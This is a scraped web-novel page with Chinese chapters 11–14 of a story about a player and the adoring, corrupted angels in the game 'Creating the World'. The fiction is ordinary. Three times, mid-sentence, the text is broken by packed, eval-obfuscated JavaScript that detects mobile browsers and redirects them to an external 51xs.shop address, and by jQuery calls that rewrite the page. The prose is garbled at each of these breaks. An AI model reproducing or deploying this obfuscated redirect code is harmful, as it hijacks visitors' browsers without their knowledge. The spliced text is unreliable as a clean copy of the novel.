;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598726|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ——如果是约斐尔他们先遇见您，他们会比我做得更好吧？ 后半截这样丧气的话语，即便是在梦里，也梗在喉咙间，完全无法在神主面前说出口。 ——假的。 ——虚伪的。 ——全是违心的。 根本无法承认别人会比自己做得更好，光是想象如果是别的天使先遇见神主，洛泽尔都感觉自己整个人都被嫉妒的火焰烧灼。 那颗融化在神主目光的心脏，此刻也因为神主的目光，变得陌生起来。 刺痛、不安、嫉妒、惶恐。 口不对心地说着丧气的话，像是败犬一样将自己从神主的身边移开位置。 难以控制地流露出负面的丑态。 或许这一刻已经默认自己会失去神主的目光。 直到洛泽尔听见神主问： 【那你呢？】 【我的未来没有你吗？】 【你不想和我一起创造新的未来吗？】 …… 洛泽尔伪装出来的平静，就这么被打破了。 连带死死隐藏的污浊，都在这一刻涌动了出来，染黑了天使脸上的圣纹和羽翼。 ……为什么呢。 为什么梦里的神主，也会让他这般失态？ 明明白日里，神主漂亮的脸上可以如此轻易露出轻慢的神态，像是毫不在意他那般；此时这双红润小巧的唇瓣，一嗡一合，香气摇逸，竟能够说出这般甜蜜蛊惑的话语。 洛泽尔的指尖细微地颤抖着。 想要紧紧抱住神主，想要将神主彻底藏在羽翼之下。 渴望得神经都刺痛起来。 难以抑制的自厌浮现，却又被更深重的欲念压下。 就好似眼前用理所当然语气说着让人心神震动话语的少年，并不只是洛泽尔的幻梦，而是真正的神主，悄声无息潜入了洛泽尔的睡梦里。 “神主……”洛泽尔情不自禁地出声，像是要反驳。 神主静静地看着他，那双漂亮的，闪烁着光芒的眼睛倒映出两个小小的洛泽尔。 洛泽尔看到了神主目光中闪烁的亮火。 那种明亮的、生机勃勃的，仿佛期待着什么一样的目光。 再一次，没有任何阻拦地出现在洛泽尔眼前。 这一刻，洛泽尔似乎明白神主究竟想要什么了。 不怕他恃宠而骄，不担心他是否会产生任何负面情绪。 只是单纯想要看到更多特殊反应的神主，无所谓被他注视的人如何思绪涌动。 真实得叫洛泽尔的心脏如同被热油般烧灼。 只这么一瞬间的对视，洛泽尔就失去了所有的话语。 洛泽尔也不知道自己想要反驳什么，隐约中，洛泽尔甚至怕自己说出太多的话，让神主觉得，抛弃他才是最好的选择。 这一刻，洛泽尔忽然什么都不想说了。 向来以忠贞、坚守、隐忍为美德的圣天使，此刻在神主明亮双眼的注视下，忽然有了无尽的贪婪之意。 他为什么要想那么多呢？ 过于瞻前顾后，只会错失一切。 怕被神主讨厌，那就努力伪装好了。 只要一直光鲜亮丽，就不会被发现腐烂的内里。 ……就算哪日真被神主发现他内里的溃烂，神主也不一定会讨厌这样的他，不是么？ 何况现在，第一个遇见神主，是他；第一个陪伴在神主身边的，也是他。 这样就够了…… ………… ……这样就够了吗？ 一直不做声的洛泽尔按住了洛橙的手，偏脸蹭了蹭。 天使的耳羽很冰凉，软软蹭过洛橙手心时就像是被什么无害温顺的小动物轻轻挨了挨。 或许是不经意，表达顺服的轻蹭时，那双薄唇也浅浅擦过神主白皙柔软的指尖。 然后，慢慢朝洛橙露出一个微笑。 那样微小的笑颜落在寡言少语、冷淡沉默的圣天使脸上，是如此惊心动魄的美丽。 “是的，神主。我会一直陪伴在您身边，永永远远，直到世界尽头。” 作为这愉悦的代价，请您—— 一直、一直，注视我下去吧。 …… ………… 【洛泽尔当前心情已更换：（幸福）】 11.011 “约斐尔大人，还是没有神主的消息吗？” 柏妮塔忍不住询问道。 虽然距离神主短暂地连接天使们的意识只有短短几秒，可却足以让神国里的所有天使都心不在焉，焦虑躁动起来。 从某种意义上而已，天使们就是一群精神体。 没有感知过神主，没有被神主抚慰过还能够忍耐，但在深切感知过神主气息，被那般温柔地安抚过后，天使们的精神就彻底归属于神主，不再属于自己了，又怎能继续忍耐？ 在神国等待的时间无比煎熬。 即便知道约斐尔已经在尽心尽力地试图得到神主的信息，他的渴望迫切绝不比自己等人来得要少，可柏妮塔还是控制不住自己的焦虑。 自从神国被结界隔绝之后，天使们对外界就失去了一定了解。 正是因为如此，柏妮塔才如此担忧。 黑雾的侵染会污浊天使们的灵魂和力量，神国被结界庇护着，方才留下方寸洁净之地。 但是，神国之外呢？ 所有天使都没有意料到，他们期盼已久的神主，竟然降生在神国之外的地点。 黑雾会污浊天使，伤害天使，那是否会对神主造成影响呢？ 哪怕神主不会被黑雾侵染，可只要一想到神主降生破败寂寥的遗弃之地，周围没有任何天使侍奉，孤援无助，柏妮塔的心就快要碎掉了。 “这真是太糟糕了……”柏妮塔喃喃自语。 可惜，任由天使们如何焦虑不安，他们也无法突破结界的限制。 唯一有能力的约斐尔，虽然承诺会尽快主动前往神国外的地方寻到神主，可据柏妮塔观察，约斐尔大人的进度似乎并不是很好。 不知道是不是柏妮塔的错觉，她总感觉约斐尔此时的心情并不是很好。 这位总是在天使们面前显得从容温和的圣天使，此时抿直了唇线，那点藏在深处的负面情绪，正透过表面的纯白，溢出丝丝缕缕的冷酷与恶意。 柏妮塔有些担忧：“约斐尔大人……？” 约斐尔看向她，淡蓝色的瞳孔凝结着冰层，有一瞬间就像是没有神采的玻璃珠，透着渗人的诡异。 柏妮塔：“！” 她有些被吓到了。 似乎是从柏妮塔的反应中意识到了什么，约斐尔很快收回了自己阴翳的视线，他揉了揉额角，笑容重新出现在那张精致的脸上。 他像是没有露出任何异样过那般，温声说道：“啊，先前有些心神疲惫，吓到你了么？” 在神国明亮的光线下，展露笑颜的圣天使连同神色也模糊在了光芒里。 “没、没事……”她有些结巴地说。 “不用担心，我会很快寻到神主的消息的，你先下去吧。”约斐尔揉着额角，看似在宽慰柏妮塔，实际上注意力根本不在她身上。 柏妮塔忘了自己是怎么出去的了，直到不小心撞到同族，回过神的柏妮塔发现自己连手指都残余惊惧的颤抖。 那样陌生，叫人忍不住心生恐惧的，真的是那位以温和出名的圣天使么？ 柏妮塔忍不住打了个寒战。 约斐尔并不在意柏妮塔在想什么，此时此刻，他整个人再一次被拽入了如同泥潭一般无法自主挣脱的共感里。 距离上一次的共感明明才发生不久，现在又迎来了第二次共感。 ——如此简短的时间内，到底发生了什么事情，洛泽尔的情绪竟然会波动起伏得这么厉害？ 并不是不能够强行从这共感中挣脱。 只要约斐尔想，别说隔着不知多遥远的距离，哪怕近在咫尺，他如果升起精神屏障，完全可以不把这点共感放在眼里。 只是…… ……只是—— 带来这叫他心烦意乱的共感的罪魁祸首之一，是神主。 明知晓沉溺进去只会是饮鸩止渴，偏偏约斐尔完全无法让自己不去贪图渴望来自神主的温暖，就像是海面无法抵御风暴。 在这令人头脑发胀的短暂共感中，约斐尔感到了心脏不受控制地震动。 天使紧紧地咬紧齿关，抑制不住从喉间发出低喘。 约斐尔无法透过洛泽尔的眼睛观察到一切，却被迫感知到他被神主轻轻抚摸的感觉。 独属于神主的触碰，如同流动的空气，全都若有似无透过时空屏障传达过来。 在空无旁人的大殿里，执掌着“智慧”，象征着理智的圣天使，却紧紧地握着拳头，浅蓝色的眼眸在这一刻凉澈得像是透明的水晶，瞳孔最深处，有着无比嫉妒的火焰在深深烧灼。 那样的真实又虚幻，想抓住却无法抓住的感觉，叫人甚至忍不住在心底浮出一点深切的恨意。 单边镜片的链子从肩膀垂落，发出细微的声响。 这枚镜片实际上就是一个命运道具，先前约斐尔就是靠着它试图去占卜神主所在的位置。 可惜神主位格太高，加上约斐尔不清楚神主身上的细节，占卜失效了。 但是现在—— 魂牵梦绕的声音。 手指的温度。 怀抱感知到的大小。 约斐尔靠着让他嫉妒、扭曲的共感，一点一点，逐渐描绘出神主的身影。 “我很快就会，找到您的——” -- “铃铃铃——” 闹钟突然响起，惊醒了睡梦中的洛橙。 “啊啊啊这么快又要去上学了吗？！” 洛橙震惊，洛橙不可置信，洛橙痛苦面具。 不知不觉就通宵玩起了游戏……！ 01不是没有提醒过洛橙，但是沉浸在游戏里的洛橙对外界基本丧失了感知。 兢兢业业，不舍昼夜。 什么，你说睡觉？睡觉哪有游戏重要！ 洛橙承认先前的自己真的很装，《创世界》实在太好玩了TVT 洛橙迷迷糊糊地在游戏助手的贴心呼唤下爬起床，完全没有印象地洗漱完，又迷迷糊糊地翻开冰箱随便吃了点东西，然后迷迷糊糊地去上学了。 同班的同学有看见从教室门口进来、不时打着呵欠的洛橙，热情地同他打招呼：“橙子，怎么一副犯困的样子，昨晚没睡够么？” 洛橙困得要死，声音也虚虚的：“啊。” 少年萎靡地趴在桌子上，趁着早自习还没正式开始，老师也还没开始巡逻，直接从抽屉里抽出校服外套，直直往头上一蒙，开始美滋滋补觉。 学校两两同桌，但因为洛橙所在的班级人数是单数，同桌抽签时，洛橙幸运地抽到单人桌。 正所谓后排靠窗，王的故乡。 这般优越的位置，还不用和别人共享，简直不要太爽。 有八卦欲极强的同学贼兮兮地靠过来：“赶紧老实交代，黑眼圈这么重，做什么去了橙子。” 挤弄着眉眼的人叫程贺，个子挺高，偏生体重几乎也等同于个子，看上去就像是个又高又壮的白面疙瘩。 他是校园里的八卦大王，性格很好，总是笑眯眯的，在班上算是和洛橙交情不错的几人之一，此刻自然也亲昵地过来调侃。 “你瞧你，换身装扮就能去cos熊猫了。怎么，背着我们在外边找小妖精了？” 洛橙泛着困呢，此时眉眼还有点懒洋洋的厌倦：“啊对对对，找了。” 程贺直接笑喷：“不是，说你喘你还真装上了？”他明显不信，但凑过来问，“谁啊，和兄弟说说呗。” 他讨好地递给洛橙根棒棒糖，洛橙也毫不客气，叼得格外嚣张：“还能是谁，游戏呗。” “切~~~”程贺直接大失所望，看样子恨不能把‘供奉’抢回来，“游戏有什么好说的，……不对。”他反应过来，“橙子你不是不爱玩游戏么？” 大家还想找他一起打全息游戏来着，也没见洛橙同意过。 洛橙吃了点甜的东西，表情也舒展了点，含着糖慢悠悠地说道：“没办法，年底的指标还没凑够。” 游戏指标并不是指只要玩游戏就可以了，这样的话指标完全没有要求的必要。 想要成功完成指标，需要玩家在玩游戏时有一定的参与度，在线时长、对游戏的理解和探索程度，新的攻略，新的玩法……在玩了游戏后，除了提供自身在游戏里的各种数据外，玩家需要再智脑端上传一份游戏指南，经过评审后分数上了60的才算合格。 按照这指标来看，洛橙现在玩的《创世界》直接倒在了第一 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“还有不久就放暑假了，好期待啊。” “是啊，我还听说，到时候可能会颁布一些新的政策，也不知道是什么……” -- 从学校回来的洛橙迫不及待地打开了手机。 这几天洛橙完全沉迷在《创世界》里，乐不思蜀，打了个爽。 这个世界可没有什么防沉迷一说，哪怕洛橙贴心的游戏助手01会提醒洛橙注意及时休息，但打游戏上头的洛橙直接把它权限一关，屏蔽了，掩耳盗铃假装自己作息健康。 “今天开始绝对不熬夜打游戏了！” 打开游戏前，洛橙依旧信誓旦旦地开始保证。 刚被从小黑屋放出来不久的01很是谄媚：【好的，主人！到时候需要我来提醒您入睡么？】 洛橙：…… 洛橙目移：“……啊，不用。我到时候会自己睡觉的。” 01：【……】 这回到01沉默了： 先前您关我黑屋前好像也是这么说的。 洛橙面不改色，开开心心窝在沙发上继续玩游戏了。 这些天，洛橙没事就在游戏里逗逗洛泽尔，带领眷属们开垦一下土地—— 没错，在这些天的摸索下，洛橙解锁出不少游戏的新功能。 开垦土地就是其中一项。 没有任何种花人能够拒绝开荒一片独属于自己的土地！ 洛橙摩拳擦掌，就等刷出种植的功能了。 “到时候，我要把遗弃之地全种满了！”洛橙雄心壮志。 游戏没有发生什么大事件，洛橙就是普通地沉迷开荒，可以悠闲悠哉地摸索游戏。 洛橙外了下脑袋，不知道是不是错觉，明明游戏里还是像素画风，但总感觉洛泽尔的精细度好像更高了。 似乎是察觉到了洛橙的注视，屏幕里的圣天使抬起灰色的眼睛，径直朝洛橙看来。 从这个角度看上去，本来就很好看的洛泽尔就更好看了。 洛橙心情大悦，用指尖隔着屏幕亲昵地摸了摸他的脑袋，满足地看到他家天使头顶冒出无数朵可爱的粉色小花。 经过间幕后，原本粘人的洛泽尔，变得更粘人了。 除此之外，在先前的人物图鉴上，不知何时竟然出现了多出了两页。 除却洛泽尔漂亮的立绘，另外两个只是黑色的剪影，像是什么藏匿在暗处窥伺的猛兽，只等待着何时的时机，对着心仪的猎物一击毙命。 咦？ 什么时候出现的？ 先前一直没留意，现在冷不丁看见的洛橙露出了宇宙猫猫头的思索表情。 戳戳看！ 洛橙本来只是随意戳戳，没想到，还真被戳出东西来了。 【您触发了随机事件——】 【-神秘的来客-】 【您对于这个世界而言，是至高无上的存在。您的降临，引发了一定程度的关注，牵连着他们的心脏。或许，正有一些神秘来客，将于不久之后来到您的面前^_^】 12.012 事件的出现，意味着剧情的出现和主线的进展。 然而洛橙却深深地震惊了，狠狠地揉了揉眼睛：“啊？不是，这个小游戏竟然有主线的吗？” 他以为这个游戏的特色就是粗暴且简陋的自由度，玩家只要每天戳戳摸摸养眷属，顺便开荒一下地图，就能够在这样温馨快乐的氛围下无尽沉迷。 毕竟过去了好几天，洛橙都忘了先前这游戏是怎么宣传的了。 洛橙浅浅回忆了下。 【种植、养崽、家园建设、声望系统……各种玩法应有尽有，游戏温馨治愈，玩家不容错过！】 新奇的玩法？钓得玩家不能自已的游戏剧情？完全不存在的！ 除了养崽（指和眷属们贴贴）外，其余的大饼洛橙一个都没吃上。 不过嘛，洛橙也不指望《创世界》能够完善得多完美，起码现在他能够沉迷并为此熬夜去玩到现在，足以证明它对洛橙的吸引力。 洛橙能每天都沉迷在这个游戏，完全是里边的角色太可爱了。 这些天里，洛橙已经彻底接受了他的眷属们。 无论是怪诞的像素外表，还是笨拙的亲近行为，头顶上只要在他身边就能【心情：999】的简单好懂的气泡，通通，都非常可爱！ 目前为止，《创世界》玩法和其他都做得很烂，互动却格外真实有趣。 洛橙怀疑它所有的钱都拿来做角色的互动了。 一开始，洛橙还没有发现，天使们头顶的气泡是实时变化的。 毕竟最开始的时候，这些天使们顶着的气泡就像是复制粘贴过那般，密密麻麻的，写着的都是千篇一律的表达喜爱的简单字句。 爱意一旦繁多，便显得很平庸虚伪。 这些低阶天使最初的时候，就像是所有游戏里都会出现的普通npc，没有任何记忆点，连台词都显得机械。 但很快，洛橙才意识到，在《创世界》里，他们不是这样的。 觉得他们平凡普通，其实也是一种傲慢。 洛橙觉得这个游戏与别的游戏最不同的就是，在别的游戏，角色们的好感值都是需要玩家花费时间和精力去刷，刷满之后才能够出现新的剧情。 在《创世界》，一切像是反过来。 洛橙都在想，这个游戏是不是有什么高科技，可以检查洛橙对大家的好感了。 只有洛橙和他们相处久了，洛橙对他们好感加上去了，洛橙才能够体验到更多的东西。 就比如，洛橙最近对开荒上瘾了。 看得出来，天使们其实很担心自家神主。 每次洛橙摩拳擦掌着往外冲的时候，天使们头上的气泡基本都写满了担忧。 可他们从来都不会阻拦。 至于为什么—— 天使：【神主、是自由的】 天使：【是活泼的神主……好开心】 天使：【需要小心看护才行】 天使：【要为神主，重铸神国的荣光！】 那些最开始在游戏里呈现为乱码的声音和文字，现在却像是被擦去雾气的玻璃，即便还隔着一层阻碍，玻璃后的世界也对洛橙不再有太多的遮掩。 洛橙能够感觉到，这些天使似乎变得更生动了，和他们互动的时候，可以观察到他们许多很可爱的反应。 尤其是这个游戏找的声优都很特别，先前的单调的字眼或许还没有这么明显，现在说的语句变长了，那种断断续续、像是许久不说话的声带被腐蚀了一般的感觉就出来了。 可是，无论是哪一个天使，每次和他们交流的时候，他们流淌出来的情绪却很和缓。 那些猩红闪烁的眼睛里，望向他是，凝聚着最柔软的憧憬与仰慕。 【只要和神主在一起，就感到了幸福】 洛橙：呜呜呜呜我的天使我的宝！ 这一刻，洛橙充钱的欲望达到了顶峰。 会不会做游戏啊《创世界》！开个充值渠道让他冲！ 冲到vip送周边手办吧唧明信片海报不，他要把自己的房间全塞满！ 语音包也顺便出一下呗？ 没什么意思，他的房子刚好有点空，需要多点人声热闹热闹。 然而《创世界》官方完全不做人。 它不仅不开充值入口，还在玩家爱上角色后残忍地往洛橙心上插刀。 洛橙发现，明明天使们陪在洛橙身边，一直在加心情值，可心情值明明上升了，大家的污染值也在上升！ 污染值是洛橙在探索《创世界》时发现的新设定。 经过这些时日的开荒，《创世界》总算对洛橙解锁更多的信息了。 【当前地图：-遗弃之地-】 【被遗忘和放弃的地方，生存环境极为恶劣。或许还藏着一些不为人知的秘密。】 而现在，它的描述已经悄声无息出现了变化。 【当前地图：-遗弃之地-】 【被遗忘和放弃的地方，生存环境极为恶劣。似乎是某个东西的碎片，被不知名能量侵蚀的土地，会潜移默化地影响生活在这里的所有生灵。】 【当前污染值：87%】 在污染值出现后，洛橙也能查看大家身上的信息了。 不看还好，一看吓一跳。 放眼望过去，洛橙才发现，他的眷属们，角色信息上竟然全顶着清一色八十以上的污染值！ 就连洛泽尔，他的污染值竟然也在六十以上，堪堪过了某个危险的点。 尤其是今日上线后，原本想继续开荒的洛橙忽然发现，他的天使们头顶那些本就叫人心惊胆战的数字，愈发深重，连模样也变得更怪异了。 经过先前的间幕，洛橙知道，能来到他面前的天使都是洛泽尔精心挑选过的，虽然不知道为什么洛泽尔施展的法术在洛橙眼前失效了，但洛橙确实能够看到他们伪装之下的真实。 而今天，一些洛橙都眼熟起来的天使们不知道是躲起来了还是去哪里了，而出现在洛橙面前的天使，模样看上去更不好了，头顶鲜红得要滴血的数字闪烁得让人担心不已。 “污染怎么会加剧得这么快呢？”洛橙忍不住担忧起来。 明明先前还好好的，结果最近却涨得这么快。 虽然洛橙不明白污染值在这个游戏的设定意味着什么，不过怎么想也知道不是好东西。 询问洛泽尔时，很有可能知道什么的圣天使却顿了顿。 洛泽尔：【……】 洛泽尔：【…………】 洛泽尔：【……被您，发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645151|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了么。】 洛泽尔：【请您不要担心，不会有什么事情的。】 他表现得若无其事，心情值却很诚实地掉了一节。 【心情：（乱码）】 被试图隐瞒的洛橙：…… 洛橙：你觉得我是个笨蛋吗？ 洛橙有些不满地鼓了股脸颊，狠狠地戳了屏幕里的洛泽尔好几下，把圣天使戳得用翅膀把自己藏起来后，洛橙才无奈地叹了口气。 “真是的，有必要对我也隐瞒么？”他气鼓鼓的。 拿自家眷属没办法，洛橙索性分屏打开了创世界的官网。 就和先前偷偷摸摸塞过来到洛橙智脑的小广告一样，《创世界》的官网其实也很是简陋，和游戏一样，都是那种还没做完就端上来，有种随时跑路的感觉。 没有公司介绍，更不可能有成就，直接把小广告复制粘贴，就成了它的官网。 唯一值得提及的就是最上方，多出了个投诉与反馈的按钮。 洛橙当时还觉得很惊讶，作为一个还没正式开始公测的三无小游戏，这怎么看怎么可刑可拷的产商竟然真的准备了投诉和反馈页面。 洛橙之前积攒了一大堆对这个游戏的不满和意见，找到了可以倾吐的渠道后，直接洋洋洒洒写了一大堆。 比如充值渠道问题，比如游戏操作界面问题，比如剧情引导问题，老长一篇小作文了。 洛橙本想怨念地继续写无用小作文，结果却在按钮处看到它多了个红点。 洛橙轻咦一声，发现是一封刚发过来不久的、未读的私信。 过去了好几天后，效率无比缓慢的官方终于给洛橙回应了。 但这个回应有还不如没有，看得洛橙眼前一黑。 【亲爱的玩家，您好！很高兴收到您的反馈。根据您的反馈，我们查实后发现确实有这些问题，但由于技术问题，尚未寻得解决方案，对此我们深表遗憾。】 洛橙：？ 【请您放心，我们会尽力解决，只是时间不定。】 洛橙：？？ 【我们向您保证，会努力在1.0版本上线后实装新功能。谢谢您对我们的大力支持！】 洛橙：？？？ 洛橙感觉自己有点看不懂中文了。 不是，什么叫‘技术问题深表遗憾’，什么叫‘尽力解决但时间不定’？ 你们这难道不矛盾吗？？ 还有，1.0版本是什么意思？ 难不成你们这连一测都不算？！ 这你们也好意思敢发小广告？？？ 怪不得游戏什么都没有，像个半成品。 洛橙深刻怀疑起来，他不会是这个游戏唯一的试玩怨种吧？ 洛橙深呼吸了好几次，不死心，又问起污染值的事情。 然而，对于污染值是什么，如何降低污染值的问题，像是上线了还没来得及下线的官方，回复得很是摆烂。 【亲爱的玩家，这个需要您自己去探索哦。】 【答案，就藏在细节里^_^】 洛橙：…… 洛橙狠狠磨了磨牙齿，一时间脏话直涌大脑。 ！@#￥#%……&&**！ 千言万语压缩成一句话：草！（一种植物） 13.013 看到官方这么没用，洛橙的心情一下子不爽起来。 有种云养的孩子不是自家被无视冷落还要不到抚养权的无力感。 不爽之下，洛橙不像往常那般，上线了就外边跑。 他难得地靠坐在树洞前，眯着眼睛去看头顶的黑色太阳。 ……应该，是太阳没错吧？ 明明看上去是黑色的，为什么白日的时候依旧会有光线呢？ 屏幕里的小人像是陷入了沉思之中，脑袋冒出了小小的对话框。 提示就像是不爱动弹的金鱼，偶尔吐出一两个【心情-1】的小气泡。 【您一动不动】 【您的心情下降了↓】 【您的眷属很担心您】 洛橙发呆的时候，视线会无意识追着身前的活物走，屏幕里的小人也是这样。 等洛橙反应过来时，他的面前已经不知不觉站满了天使。 抱膝蹲着地上发呆的神主被一群天使围观了。 洛橙：O_O？ 提示早在洛橙发呆的时候慢慢消退了，留下现在的洛橙一头雾水。 怎么回事，发生了什么？ 明明天使们的脸看上去更惊悚了，无数双红色的眼睛在他们的脸颊上、额头上、脖子上、翅膀上冒出来，可那些猩红的眼睛，却没有任何阴霾，都在担忧地看着他。 是很明显的担忧。 小心翼翼地，试探般过来瞧洛橙的表情。 天使：【……】 天使：【…………】 天使：【神主……】 天使：【不要难过。】 天使：【……】 天使：【这些，给您。】 洛橙这才发现，他们手里都拿着东西。 洛橙：？？？ 洛橙更迷茫了：我没难过—— 好吧，顶多是有点对游戏官方不作为的生气而已。 看着被递到面前的、被像素糊满的不知名却散着亮晶晶光芒的东西，洛橙迷迷瞪瞪地接过来了。 心情、稍微有点微妙…… 有种被这群天使当小宝宝哄了的感觉。 就是那种：‘不知道神主遇到了什么，但是送东西哄神主，神主说不定就会开心起来’的奇妙感。 不得不说，洛橙确实被哄开心起来了。 游戏里闪着光的物品，哪怕是垃圾，得到的那刻都会叫玩家忍不住高兴。 天使有很多很多，送来的东西很快就在洛橙身边堆满了个小小的山丘。 洛橙直接被闪光的物品给包围了。 他还眼尖，发现有天使竟然来回多送了几遍。 有送了又送、不厌其烦来回跑的，也有从别处交接、像是在帮忙别的天使送的。 ……等下，帮别的天使送？ 洛橙打起精神，仔细观察。 很快，他就发现，围在自己身边的天使，除却排着长龙送礼物外的，还有一群乌压压躲藏在巨木背后的天使。 那些天使不再人立，也没有了人形态，更像是一个个模样扭曲的怪物。 它们躲在树后边，数量很多，再大的树木也无法帮它们遮蔽，可惜它们却丝毫没有意识到这一点，全部的心神都放在洛橙身上。 见到神主接过了自己的礼物，它们的头顶全部冒出了代表喜悦的小花朵，连在像素画风里都显得格外惊悚怪异的脸上，都变成了o(≧▽≦)o的表情。 洛橙被这怪诞反差的一幕逗笑了，然后才后知后觉地想起，这些躲在远处看着他的，或许是被洛泽尔警告过不要轻易靠近他的那群天使。 说实话，这些低阶天使竟然真的很听话。 直至目前为止，洛橙还是第一次看见他们。 洛橙刚要朝他们走近，就见到一直目不转睛盯着他瞧的天使们像是猛然被吓了一跳一样，头顶的小花花全被警惕的感叹号取代。 【！！！】 【神、神主……】 【神主的目光——】 【……不、不要被看到！】 天使们如同一群收到惊吓的小动物，心情值瞬间变红，只剩一点本能的它们惶恐之下转身就跑。 “……诶不是，等下！别跑啊我又不会吃掉你们！” 洛橙甚至没来得及阻拦，只能眼睁睁看着它们逃跑。 郁闷得小人在屏幕的空地里干跳脚了好几下。 怪物模样的天使离开了，却留下一地来不及拜托同族转交的礼物。 洛橙也不嫌麻烦，饶有兴致地一个个将那些掉落在地上的‘宝物’拾取。 《创世界》到现在还没出现背包功能，洛橙只能一个个捡。 等他好不容易忙活完一趟之后，转身就发现，地上的山丘堆得更高了。 洛橙：…… 洛橙怀疑，那些见他就跑的天使，绝对有什么不得了的瞬移技能！ 刚不知道逃到哪里去，趁他搬运的功夫就把地上重新堆满。 洛橙能怎么办，洛橙只好继续努力搬运了。 幸好他是玩家，玩家只要点出现在‘小山丘’旁边的一键搬运后，就可以美美喝着可乐看着屏幕里的小人呼哧呼哧搬东西啦=v= 大概花了好几分钟，屏幕里的小人才忙活完。 【您经过一番劳动，疲惫值+99】 【您的心情上升了↑】 【您当前的心情值：99】 在小人自动搬着东西时，矛盾的提示也在不停闪烁着。 到了最后，顶着99疲惫值和99心情值的小人一动不动地倒在地上，片刻后才在洛橙的操纵下吃起红果子补充精力起来。 树洞很大，几堆小山搬进来竟然也不觉得拥挤。 除却那些能够帮助洛橙补充体力值的红果子外，剩下的洛橙那会只顾收了，都没来得及细看。 现在嘛…… “这个是羽毛？怎么是红色的？这个东西……怎么看着那么像眼珠？……不，肯定是我眼花了！还有这个，” 像是察觉到了洛橙的想法，先前一直没有反应的游戏，忽然冒出了一个小小的弹窗。 洛橙手里捧着的东西，拂去了像素点模糊不清的画质，露出真容。 只有巴掌大的红羽，如同眼球一样的宝石，一张有些奇怪的白纸，奇形怪状的小木雕，颜色艳丽多彩的蘑菇，被细绳穿起来的灰色星星…… 真容露出后，信息也能被侦查了。 【红羽-普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660377|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通的羽毛】、【眼石-普通的石头】、【白纸-不知道哪里找来的纸页】、【木雕-简陋粗糙的不合格手工】、【死去已久的幻菇-不用怀疑，它已经失去了致幻特效】、【摇篮星-可以收录话语的道具，已破损】…… 无论是它们的外貌，还是它们的介绍。 看上去种类繁多各种各样，实际上都是一群空有闪光特效的垃圾。 偏偏就是这些东西，让洛橙心慢慢就软化起来了。 但已经摸索了这里好几天的洛橙却知道，在单调寂寥的遗弃之地，这些带有色彩和形状的物品，已经是仅存的美好之物了。 “什么嘛，真的被当做小孩子来哄了呀……” 说着这样的话语，脸却多了点滚烫的温度。 洛橙把脸埋在靠枕里，只留下一双亮晶晶的眼睛。 【您的心情持续上升中↑↑】 【您似乎感受到了不同寻常的快乐】 洛橙：…… 洛橙有点恼羞成怒起来了：“真是的，要你多嘴！” 只会在这种莫名其妙的地方敏锐的不作为游戏！ 洛橙拿着手里的冰可乐冰了下自己的脸，才总算把那点不好意思压了下去。 暗暗骂了声不作为的坏官方，洛橙的思绪重新回到最开始——他是为了眷属们的污染值而烦恼的。 现在收到了眷属们哄自己的礼物，洛橙开心的同时，不免担忧起来了。 尤其想起了那些躲在树背后的天使们后，洛橙心底不好的预感愈发明显。 污染污染，大家一开始肯定不是这样的。 那么，要怎么才能降低大家的污染值呢？ 可惜的是，先前乖乖巧巧的洛泽尔也学坏了，竟然没有如实回答他尊贵的、可亲可敬的神主！ 想到这里，洛橙突然发现了盲点。 对哦，洛泽尔去哪了？ 先前他不是一直粘着自己的吗？ 小神主爬出树洞，左视右顾，没看到先前围着自己排队送礼物的天使，也没看到躲在树后悄悄打量他的眷属，更没找到某只学坏了的圣天使—— 洛橙：…… 洛橙沉默片刻，索性找了个空地直直一躺。 开始原地装死.jpg 洛橙摸索出了经验：只要原地装死，不出几秒，他就能收获一只大天使。 果不其然，屏幕里安静了片刻，传来窸窸窣窣接近的声响。 闭眼装死的神主守株待兔成功！ 不知从哪里冒出来的、恢复原态的圣天使安安静静地看了散发着萎靡气息倒在地上的小神主，迟疑了一瞬，把洛橙小心翼翼地捧在了手心。 他就像是一只藏在沙发背后的小狗，在和主人玩捉迷藏到一半，看到精神满满活力四射的主人突然倒下时，明明听到了主人的心跳和呼吸，看到他颤动的眼睫下翘起的嘴角，却还是抵不住担心，用湿润的鼻尖蹭了蹭主人的脸颊。 屏幕里，天使漂亮的脸上凑近。 灰色的眼睛，灰色的长发。 捧起小小的神主的时候，就像是捧起了玻璃罐里精致易碎的小人。 洛泽尔的头顶，慢吞吞、轻飘飘地冒出一个小小的问号。 【？】 14.014 在天使们忙忙碌碌给洛橙送东西的时候，这只以往一直粘着洛橙不放的圣天使，其实一直在某个角落里默默地看着。 他看见大家都围着神主转，看见神主开开心心地接过排成长龙的天使们的礼物。 